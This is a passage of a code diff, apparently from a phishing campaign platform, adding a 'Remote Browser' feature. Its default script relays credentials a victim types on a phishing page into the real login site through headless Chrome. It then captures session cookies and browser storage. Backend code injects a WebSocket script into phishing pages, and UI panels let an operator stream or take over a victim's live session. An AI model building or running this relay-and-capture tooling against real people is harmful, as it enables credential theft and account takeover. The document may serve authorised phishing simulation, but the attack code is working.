len(cookieNames)) + for _, n := range cookieNames { + nameSet[n] = true + } + filtered := cookies[:0] + for _, c := range cookies { + if nameSet[c.Name] { + filtered = append(filtered, c) + } + } + cookies = filtered + } + result["cookies"] = cookies + } else { + emitter.log(fmt.Sprintf("[capture] cookies: %s", err)) + } + } + + evalStorage := func(key string, storeName string) { + script := fmt.Sprintf(`() => (function(){try{var s=window[%q],o={};for(var i=0;i that opens a WS to the victim + // endpoint and exposes window.RemoteBrowser.on(event, fn) / .send(event, data). + // Usage in page template: {{RemoteBrowserScript "remote-browser-uuid"}} + { + wsPath := t.remoteBrowserWSPath(ctx) + capturedID := id // close over the campaign recipient ID for this render + hasCampaign := campaign != nil + templateFuncs["RemoteBrowserScript"] = func(rbName string) string { + if !hasCampaign || capturedID == "" || rbName == "" || t.RemoteBrowserRepository == nil { + return "" + } + nameVO, err := vo.NewString64(rbName) + if err != nil { + return "" + } + rb, err := t.RemoteBrowserRepository.GetByNameAndCompanyID(ctx, nameVO, companyID, &repository.RemoteBrowserOption{}) + if err != nil { + return "" + } + rbIDVal, err := rb.ID.Get() + if err != nil { + return "" + } + script := strings.NewReplacer( + "__WS_PATH__", wsPath, + "__CR_ID__", capturedID, + "__RB_ID__", rbIDVal.String(), + ).Replace(embedded.RemoteBrowserInjectJS) + return "" + } + } + tmpl, err := template.New("page"). Funcs(templateFuncs). Parse(contentToRender) @@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL( return data } +// remoteBrowserWSPath returns the seeded random path segment used for the +// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if +// the option is not yet seeded (e.g. during tests or first startup). +func (t *Template) remoteBrowserWSPath(ctx context.Context) string { + if t.OptionRepository == nil { + return "rbws" + } + if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil { + return opt.Value.String() + } + return "rbws" +} + // TemplateFuncs returns template functions for templates func TemplateFuncs() template.FuncMap { return template.FuncMap{ @@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap { "DeviceCodeCaptured": func(args ...string) (bool, error) { return false, nil }, + // RemoteBrowserScript is a no-op stub used during template validation; it is replaced with + // a live implementation that outputs a real WebSocket + +
+ + +
+
    + +
+
+
diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte new file mode 100644 index 0000000..a98b547 --- /dev/null +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -0,0 +1,977 @@ + + +
+ +
+
+ dispatch('change', getModel())} + placeholder="my-remote-browser">Name +
+
+ dispatch('change', getModel())} + placeholder="Optional description">Description +
+
+ + +
+ +
+
+ JavaScript + +
+
+
+
+ + +
+ + +
+ +
+ + +
+ + +
+ {#if activeTab === 'config'} +
+
+ +
+ + +
+ +

+ {#if cfgMode === 'local'} + Spawns an isolated Chrome process per session. + {:else} + Connects to a shared Chrome instance. For debugging only. + {/if} +

+
+ + {#if cfgMode === 'remote'} + dispatch('change', getModel())} + placeholder="ws://localhost:9222">Remote DevTools URL + {:else} + dispatch('change', getModel())} + optional={true} + placeholder="socks5://127.0.0.1:1080">Proxy +
+ +
+ {/if} + + dispatch('change', getModel())} + placeholder="5">Timeout (minutes) + +
+ {:else} +
+ {#if isScriptDirty} +

Unsaved changes - save before running.

+ {/if} + +
+ {#if !isRunning} + + {:else} + + {/if} + {#if runLog.length > 0} + + {/if} + {#if streamSessionID} + + + {/if} +
+ + +
+ {#if runLog.length === 0} + No events yet. Click Run to execute the script. + {:else} + {#each runLog as entry} +
+ {#if entry.type === 'event'} + [{entry.time?.slice(11, 23)}] + emit + {entry.key} + = + {JSON.stringify(entry.value)} + {:else if entry.type === 'sent'} + [{entry.time?.slice(11, 23)}] + → {entry.event} + {#if entry.data !== null && entry.data !== undefined && entry.data !== ''} + data={JSON.stringify(entry.data)} + {/if} + {:else if entry.type === 'screenshot'} + [{entry.time?.slice(11, 23)}] + 📷 {entry.key || 'screenshot'} + {#if entry.url} + {entry.url} + {/if} +
+ + + {entry.key { + screenshotModalSrc = entry.value; + screenshotModalLabel = entry.key || 'screenshot'; + screenshotModalURL = entry.url || ''; + }} + /> +
+ {:else if entry.type === 'info'} + [{entry.time?.slice(11, 23)}] + ℹ info + {entry.message} + {:else if entry.type === 'submit'} + [{entry.time?.slice(11, 23)}] + ⬆ submitData +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'capture'} + [{entry.time?.slice(11, 23)}] + ★ capture + {#if entry.value?.cookies} + · {entry.value.cookies.length} cookies + {/if} + {#if entry.value?.localStorage} + · {Object.keys(entry.value.localStorage).length} localStorage + {/if} + {#if entry.value?.sessionStorage} + · {Object.keys(entry.value.sessionStorage).length} sessionStorage + {/if} +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'done'} + [{entry.time?.slice(11, 23)}] + ✓ done + {:else} + [{entry.time?.slice(11, 23)}] + {entry.message} + {#if entry.data !== undefined && entry.data !== null} + {JSON.stringify(entry.data)} + {/if} + {/if} +
+ {/each} + {/if} +
+ + + {#if isRunning} +
+

Inject event

+
+ { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }} + /> + { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }} + /> + +
+
+ {/if} + + {#if !id} +

+ Save the remote browser first to enable live test runs. +

+ {/if} +
+ {/if} +
+
+
+
+ + +{#if screenshotModalSrc} + + +
{ screenshotModalSrc = null; screenshotModalURL = ''; }} + > +
+
+
+ {screenshotModalLabel} + {#if screenshotModalURL} + {screenshotModalURL} + {/if} +
+ +
+ {screenshotModalLabel} +
+
+{/if} + + { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + const { event, data } = e.detail; + ws.send(JSON.stringify({ event, data })); + runLog = [...runLog, { type: 'sent', event, data, time: now() }]; + setTimeout(scrollLogToBottom, 0); + }} +/> diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte new file mode 100644 index 0000000..3453fae --- /dev/null +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte @@ -0,0 +1,531 @@ + + + +
+ +
+ +
+ + Status: {status} + + {#if email} + {email} + {/if} + {#if status === 'Connected'} + {fps} fps + {/if} + +
+ +
+ + + + +
{ if (controlMode) document.getElementById('rb-url-input')?.select(); }} + > + { urlBarFocused = true; }} + on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }} + on:keydown={(e) => { + if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); } + if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); } + e.stopPropagation(); + }} + readonly={!controlMode} + class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}" + placeholder="about:blank" + /> +
+
+
+ + + +
+ + + {#if logPanelOpen} +
+
+ Script Log + +
+
+ {#if runLog.length === 0} + No events yet. + {:else} + {#each runLog as entry} +
+ {#if entry.type === 'event'} + [{entry.time?.slice(11, 23)}] + emit + {entry.key} + = + {JSON.stringify(entry.value)} + {:else if entry.type === 'sent'} + [{entry.time?.slice(11, 23)}] + → {entry.event} + {#if entry.data !== null && entry.data !== undefined && entry.data !== ''} + data={JSON.stringify(entry.data)} + {/if} + {:else if entry.type === 'screenshot'} + [{entry.time?.slice(11, 23)}] + 📷 {entry.key || 'screenshot'} + {#if entry.url} + {entry.url} + {/if} + {:else if entry.type === 'info'} + [{entry.time?.slice(11, 23)}] + ℹ info + {entry.message} + {:else if entry.type === 'submit'} + [{entry.time?.slice(11, 23)}] + ⬆ submitData +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'capture'} + [{entry.time?.slice(11, 23)}] + ★ capture + {#if entry.value?.cookies} + · {entry.value.cookies.length} cookies + {/if} + {#if entry.value?.localStorage} + · {Object.keys(entry.value.localStorage).length} localStorage + {/if} + {:else if entry.type === 'done'} + [{entry.time?.slice(11, 23)}] + ✓ done + {:else} + [{entry.time?.slice(11, 23)}] + {entry.message} + {#if entry.data !== undefined && entry.data !== null} + {JSON.stringify(entry.data)} + {/if} + {/if} +
+ {/each} + {/if} +
+ + {#if isRunning} +
+ { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }} + /> + { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }} + /> + +
+ {/if} +
+ {/if} +
+ + {#if controlMode} +

+ Mouse and keyboard are captured while this modal is open. +

+ {/if} +
+
diff --git a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte index 5428dd9..f05ed5b 100644 --- a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte +++ b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte @@ -26,54 +26,43 @@ activeFormElement.set(dropdownId); // set this as active, closing others const viewportHeight = window.innerHeight; - const buffer = 20; // extra space to ensure some padding from viewport edges - const minHeight = 64; // minimum dropdown height - const maxHeight = 400; // maximum dropdown height + const viewportWidth = window.innerWidth; + const buffer = 20; + const minHeight = 64; + const maxHeight = 400; + const gap = 8; - let clickViewportY, pageX, pageY; - - // handle both mouse and keyboard events - if (e.clientY !== undefined && e.pageX !== undefined) { - // mouse event - clickViewportY = e.clientY; - pageX = e.pageX; - pageY = e.pageY; + // use viewport (fixed) coordinates so positioning is independent of DOM ancestors + let x, y; + if (e.clientX !== undefined && e.clientY !== undefined) { + x = e.clientX; + y = e.clientY; } else { - // keyboard event - use button position const buttonRect = buttonRef.getBoundingClientRect(); - clickViewportY = buttonRect.top; - pageX = buttonRect.left + window.scrollX; - pageY = buttonRect.top + window.scrollY; + x = buttonRect.left + buttonRect.width / 2; + y = buttonRect.top; } - // calculate available space above and below - const spaceAbove = clickViewportY - buffer; - const spaceBelow = viewportHeight - clickViewportY - buffer; - - // choose position based on available space, with preference for below + const spaceAbove = y - buffer; + const spaceBelow = viewportHeight - y - buffer; const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow; const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow; - - // calculate optimal height within bounds const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight); - // find position - const gap = 8; // small gap between menu and cursor/button - menuX = pageX - 256; + const menuWidth = 256; + const spaceOnRight = viewportWidth - x - buffer; + menuX = spaceOnRight >= menuWidth ? x : x - menuWidth; + menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer)); if (shouldShowAbove) { - // calculate actual menu height by temporarily showing it menuRef.style.visibility = 'hidden'; menuRef.style.display = 'block'; const actualMenuHeight = menuRef.scrollHeight; menuRef.style.display = ''; menuRef.style.visibility = ''; - - // position above by moving up by the actual menu height - menuY = pageY - actualMenuHeight - gap; + menuY = y - actualMenuHeight - gap; } else { - // for below positioning, use original click/button position - menuY = pageY + gap; + menuY = y + gap; } menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`; @@ -160,7 +149,7 @@
    diff --git a/frontend/src/lib/components/table/TableHeadCell.svelte b/frontend/src/lib/components/table/TableHeadCell.svelte index f397e77..855340c 100644 --- a/frontend/src/lib/components/table/TableHeadCell.svelte +++ b/frontend/src/lib/components/table/TableHeadCell.svelte @@ -55,7 +55,7 @@ class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200" > {#if !isGhost} - {title.length ? title : column} + {title?.length ? title : column} {:else} {/if} diff --git a/frontend/src/lib/components/table/TableHeader.svelte b/frontend/src/lib/components/table/TableHeader.svelte index 6fefa27..bffda6c 100644 --- a/frontend/src/lib/components/table/TableHeader.svelte +++ b/frontend/src/lib/components/table/TableHeader.svelte @@ -26,7 +26,7 @@ - {#each columns as column, i (i)} + {#each columns as column, i (typeof column === 'object' ? column.column : column)} {#if typeof column === 'object'} } */ + let liveSessions = new Map(); + let liveSessionPollInterval = null; + let streamModalVisible = false; + let streamCRID = ''; + let streamControlMode = false; + let streamEmail = ''; + let isTerminateSessionAlertVisible = false; + let terminateSessionCRID = ''; + // hooks onMount(() => { const context = appStateService.getContext(); @@ -186,14 +199,51 @@ await refreshCampaignEventsSince(); })(); + // poll live sessions every 5 seconds + liveSessionPollInterval = setInterval(refreshLiveSessions, 5000); + refreshLiveSessions(); + // cleanup resource context when leaving page return () => { recipientTableUrlParams.unsubscribe(); eventsTableURLParams.unsubscribe(); resourceContext.clear(); + clearInterval(liveSessionPollInterval); }; }); + const refreshLiveSessions = async () => { + const campaignID = $page.params.id; + const res = await api.remoteBrowser.getLiveSessions(campaignID); + if (!res.success) return; + const map = new Map(); + for (const s of res.data ?? []) { + map.set(s.crID, s); + } + liveSessions = map; + }; + + const openStreamModal = (crID, control, recipientEmail = '') => { + streamCRID = crID; + streamControlMode = control; + streamEmail = recipientEmail; + streamModalVisible = true; + }; + + const openTerminateAlert = (crID) => { + terminateSessionCRID = crID; + isTerminateSessionAlertVisible = true; + }; + + const doTerminateSession = async () => { + const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID); + if (!res.success) { + return { success: false, error: 'Failed to terminate session' }; + } + await refreshLiveSessions(); + return { success: true }; + }; + const refresh = async (showLoading = true) => { if (showLoading) { showIsLoading(); @@ -1947,6 +1997,7 @@ Recipients overview 0 ? [{ column: 'Remote', size: 'small' }] : []), { column: 'First name', size: 'small' }, { column: 'Last name', size: 'small' }, { column: 'Email', size: 'large' }, @@ -1972,6 +2023,29 @@ > {#each campaignRecipients as recp (recp.id)} + {#if liveSessions.size > 0} + + {#if liveSessions.has(recp.id)} + {@const ls = liveSessions.get(recp.id)} + + {#if ls.canStream} + openStreamModal(recp.id, false, recp.recipient?.email)} + /> + openStreamModal(recp.id, true, recp.recipient?.email)} + /> + {/if} + openTerminateAlert(recp.id)} + /> + + {/if} + + {/if} {#if recp?.anonymizedID} @@ -2104,6 +2178,23 @@ : ''} on:click={() => onClickPreviewEmail(recp.id)} /> + {#if liveSessions.has(recp.id)} + {@const ls = liveSessions.get(recp.id)} + {#if ls.canStream} + openStreamModal(recp.id, false, recp.recipient?.email)} + /> + openStreamModal(recp.id, true, recp.recipient?.email)} + /> + {/if} + openTerminateAlert(recp.id)} + /> + {/if} {/if} @@ -2112,6 +2203,23 @@
    {/if} {/if} + { streamModalVisible = false; refreshLiveSessions(); }} + /> + + + Are you sure you want to terminate this live session? The victim's browser will be closed. + +
    + import { page } from '$app/stores'; + import { api } from '$lib/api/apiProxy.js'; + import { onMount } from 'svelte'; + import { newTableURLParams } from '$lib/service/tableURLParams.js'; + import Headline from '$lib/components/Headline.svelte'; + import TableRow from '$lib/components/table/TableRow.svelte'; + import TableCell from '$lib/components/table/TableCell.svelte'; + import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte'; + import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte'; + import TableCopyButton from '$lib/components/table/TableCopyButton.svelte'; + import FormError from '$lib/components/FormError.svelte'; + import { addToast } from '$lib/store/toast'; + import { AppStateService } from '$lib/service/appState'; + import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte'; + import TableCellAction from '$lib/components/table/TableCellAction.svelte'; + import Modal from '$lib/components/Modal.svelte'; + import Table from '$lib/components/table/Table.svelte'; + import HeadTitle from '$lib/components/HeadTitle.svelte'; + import { getModalText } from '$lib/utils/common'; + import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte'; + import AutoRefresh from '$lib/components/AutoRefresh.svelte'; + import BigButton from '$lib/components/BigButton.svelte'; + import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte'; + import FormGrid from '$lib/components/FormGrid.svelte'; + import FormFooter from '$lib/components/FormFooter.svelte'; + import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte'; + + const appStateService = AppStateService.instance; + + // form state + let formValues = { + id: null, + name: '', + description: '', + script: defaultScript(), + config: JSON.stringify({ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, null, 2) + }; + let isSubmitting = false; + let formError = ''; + let savedScript = defaultScript(); + + // table state + const tableURLParams = newTableURLParams(); + let contextCompanyID = null; + let items = []; + let hasNextPage = true; + let isTableLoading = false; + + // modal state + let isModalVisible = false; + let modalMode = null; + let modalText = ''; + + // delete state + let isDeleteAlertVisible = false; + let deleteValues = { id: null, name: null }; + + $: modalText = getModalText('Remote Browser', modalMode); + + function defaultScript() { + return `// The phishing page sends events here via rb.send("event", data). +// This script replays them into the real site and emits events back. + +var s = newSession(); +s.navigate("https://example.com/login"); +s.waitVisible("input[type='email']"); + +// wait for victim to submit their email on the phishing page +var u = waitForEvent("username"); +s.sendKeys("input[type='email']", u.username); +s.click("button[type='submit']"); + +// ask the phishing page to show a password field +s.waitVisible("input[type='password']"); +emit("need_password", {}); + +var p = waitForEvent("password"); +s.sendKeys("input[type='password']", p.password); +s.click("button[type='submit']"); + +// grab session cookies once we land inside the app +s.waitVisible("#dashboard"); +s.capture({ + domains: ["example.com"], + cookieNames: ["session", "auth_token"] +}); +emit("captured", { status: "success" }); + +s.keepAlive(); +s.close(); +`; + } + + onMount(() => { + const context = appStateService.getContext(); + if (context) contextCompanyID = context.companyID; + + refreshItems(); + tableURLParams.onChange(refreshItems); + + (async () => { + const editID = $page.url.searchParams.get('edit'); + if (editID) await openUpdateModal(editID); + })(); + + return () => tableURLParams.unsubscribe(); + }); + + const refreshItems = async (showLoading = true) => { + try { + if (showLoading) isTableLoading = true; + const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID); + if (res.success) { + items = res.data.rows ?? res.data ?? []; + hasNextPage = res.data.hasNextPage ?? false; + } + } catch (e) { + addToast('Failed to load Remote Browsers', 'Error'); + console.error(e); + } finally { + if (showLoading) isTableLoading = false; + } + }; + + const openCreateModal = () => { + formValues = { + id: null, + name: '', + description: '', + script: defaultScript(), + config: JSON.stringify({ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = defaultScript(); + formError = ''; + modalMode = 'create'; + isModalVisible = true; + }; + + const openUpdateModal = async (id) => { + try { + const res = await api.remoteBrowser.getByID(id); + if (!res.success) throw res.error; + const rb = res.data; + formValues = { + id: rb.id, + name: rb.name || '', + description: rb.description || '', + script: rb.script || defaultScript(), + config: rb.config ? JSON.stringify(rb.config, null, 2) : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = formValues.script; + formError = ''; + modalMode = 'update'; + isModalVisible = true; + } catch (e) { + addToast('Failed to load Remote Browser', 'Error'); + console.error(e); + } + }; + + const closeModal = () => { + isModalVisible = false; + formError = ''; + }; + + const onEditorChange = (event) => { + const { name, description, script, config } = event.detail; + formValues = { ...formValues, name, description, script, config }; + }; + + const openCopyModal = async (id) => { + try { + const res = await api.remoteBrowser.getByID(id); + if (!res.success) throw res.error; + const rb = res.data; + formValues = { + id: null, + name: rb.name ? `${rb.name} (copy)` : '', + description: rb.description || '', + script: rb.script || defaultScript(), + config: rb.config ? JSON.stringify(rb.config, null, 2) : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = formValues.script; + formError = ''; + modalMode = 'copy'; + isModalVisible = true; + } catch (e) { + addToast('Failed to load Remote Browser', 'Error'); + console.error(e); + } + }; + + const onSubmit = async (event) => { + isSubmitting = true; + try { + const saveOnly = event?.detail?.saveOnly || false; + if (modalMode === 'create' || modalMode === 'copy') { + await create(); + } else { + await update(saveOnly); + } + } finally { + isSubmitting = false; + } + }; + + const create = async () => { + try { + const res = await api.remoteBrowser.create({ + name: formValues.name, + description: formValues.description, + script: formValues.script, + config: JSON.parse(formValues.config), + companyID: contextCompanyID + }); + if (!res.success) { formError = res.error; return; } + formError = ''; + addToast('Remote Browser created', 'Success'); + // Stay in the modal - switch to update mode so the user can run/test immediately. + formValues = { ...formValues, id: res.data.id }; + savedScript = formValues.script; + modalMode = 'update'; + refreshItems(); + } catch (e) { + addToast('Failed to create Remote Browser', 'Error'); + console.error(e); + } + }; + + const update = async (saveOnly = false) => { + try { + const res = await api.remoteBrowser.update(formValues.id, { + name: formValues.name, + description: formValues.description, + script: formValues.script, + config: JSON.parse(formValues.config) + }); + if (!res.success) { formError = res.error; return; } + formError = ''; + savedScript = formValues.script; + addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success'); + if (!saveOnly) { + closeModal(); + refreshItems(); + } + } catch (e) { + addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error'); + console.error(e); + } + }; + + const onClickDelete = async (id) => { + const res = await api.remoteBrowser.delete(id); + if (res.success) { + refreshItems(); + return res; + } + throw res.error; + }; + + + + +
    +
    + Remote Browsers + refreshItems(false)} + /> +
    + New Remote Browser + +
    + {#each items as item (item.id)} + + + + + {item.description || ''} + + + + openUpdateModal(item.id)} /> + openCopyModal(item.id)} /> + { + deleteValues = { id: item.id, name: item.name }; + isDeleteAlertVisible = true; + }} + /> + + + + {/each} +
    +
+ + + + +
+ +
+ + + + +
+
+ + onClickDelete(deleteValues.id)} +/> diff --git a/frontend/vite.dev.config.js b/frontend/vite.dev.config.js index 4bd61f0..d588f29 100644 --- a/frontend/vite.dev.config.js +++ b/frontend/vite.dev.config.js @@ -21,6 +21,7 @@ export default defineConfig({ '/api/': { target: 'https://backend:8002', secure: false, + ws: true, }, }, },